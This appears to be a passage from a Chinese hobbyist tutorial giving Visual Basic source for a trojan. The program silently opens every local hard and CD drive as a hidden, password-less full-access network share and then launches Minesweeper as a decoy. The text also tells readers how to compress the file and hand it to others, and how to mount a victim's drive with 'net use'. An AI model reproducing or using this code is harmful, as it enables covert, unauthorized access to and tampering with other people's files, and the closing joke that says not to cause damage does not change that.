Private Sub Form_Load()
Me.Hide
Dim buff As String, DriveNo As Integer, Result As Integer, Game
For DriveNo = 0 To 25 '遍历所有的26个驱动器
buff = Chr$(65 + DriveNo) + ":" '取驱动器符
Result = GetDriveType(buff) '调用API函数来获得驱动器的类型
If Result = 3 Xor Result = 5 Then
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Flags", REG_DWORD, "770", 3 '写入共享的类型,这就是程序的关键所在
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Type", REG_DWORD, "0", 0
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Path", REG_SZ, buff, 4 '写入共享驱动器的路径,就是"C:","D:"等等
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Parm2enc", REG_BINARY, 0, 0 '写入共享目录的只读访问密码;
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Parm1enc", REG_BINARY, 0, 0 '写入该共享目录的完全访问密码;;
setvalue HKEY_LOCAL_MACHINE, CommonPath + Chr(65 + DriveNo) + "$", "Remark", REG_SZ, "Remark by scent lily!", 21 '写入一些注释信息,比如“香水百合到此一游”
End If
Next DriveNo
GetWinDir '获得windows目录的路径
If Dir(WinDir & "winmine.exe") <> "" Then '如果有扫雷游戏的话就在前台执行它
Game = Shell(WinDir & "WINMINE.EXE", vbMaximizedFocus)
Else
'因为扫雷游戏不是必装的,可能有的机器没有安装,但是资源管理器是肯定有的。所以,如果没有扫雷游戏 就启动一个资源管理器
Game = Shell(WinDir & "explorer", vbMaximizedFocus)
End If
Unload Me
End Sub
Public Sub GetWinDir() '获得windows所在目录的子程序
Dim Length As Long
WinDir = String(MAX_PATH, 0)
Length = GetWindowsDirectory(WinDir, MAX_PATH)
WinDir = Left(WinDir, InStr(WinDir, Chr(0)) - 1)
End Sub
完整的程序大家可以去网上下载(香水百合园http://scentlily.y365.com),其中的可执行文件是用VB6.0编译的,建议再用VB5.0重新编译一下。这样你只需要将这一个可执行文件分发给别人就OK了,不需要其它的任何DLL文件,因为Win98和Win2000已经自带VB5.0的DLL文件啦。这样就做成了一个绿色软件。你再用UPX这个可执行文件压缩工具压缩一下,就只有6K了,感觉很爽吧!
有很多朋友来信问我,即然对方和自己都看不见这个共享目录,那到底怎么使用呢?其实方法也很简单的,因为在网上邻居里是看不见的,所以我们需要到DOS方式下去使用。命令如下:
语法:net use <映射的盘符> \对方的IPC$
例如:net use x: \192.168.0.2D$
执行完这个命令以后,就将对方(192.168.0.2)的D盘映射成自己的X盘了。你就可以象使用C盘D盘那样使用X盘了,当你切换到X盘后,对X盘所进行的操作,实际上就是对方的D盘进行操作。
因为现在的网友都已经很少愿意接收可执行文件了,所以网上流行的共享蠕虫程序是VBS格式的脚步语言。不过原理是一样的,只是实现的方法不一样罢了!
怎么样!在别人机器上跳舞的感觉如何?一句话,"一切尽在掌握!",知道香水百合为什么用爱立信手机了吧!:)不过,还是要提醒你一句,看看就可以了,开开玩笑也没问题,不过千万不要搞破坏!因为VB是最"美好"的语言,不要破坏了她的美好形象噢!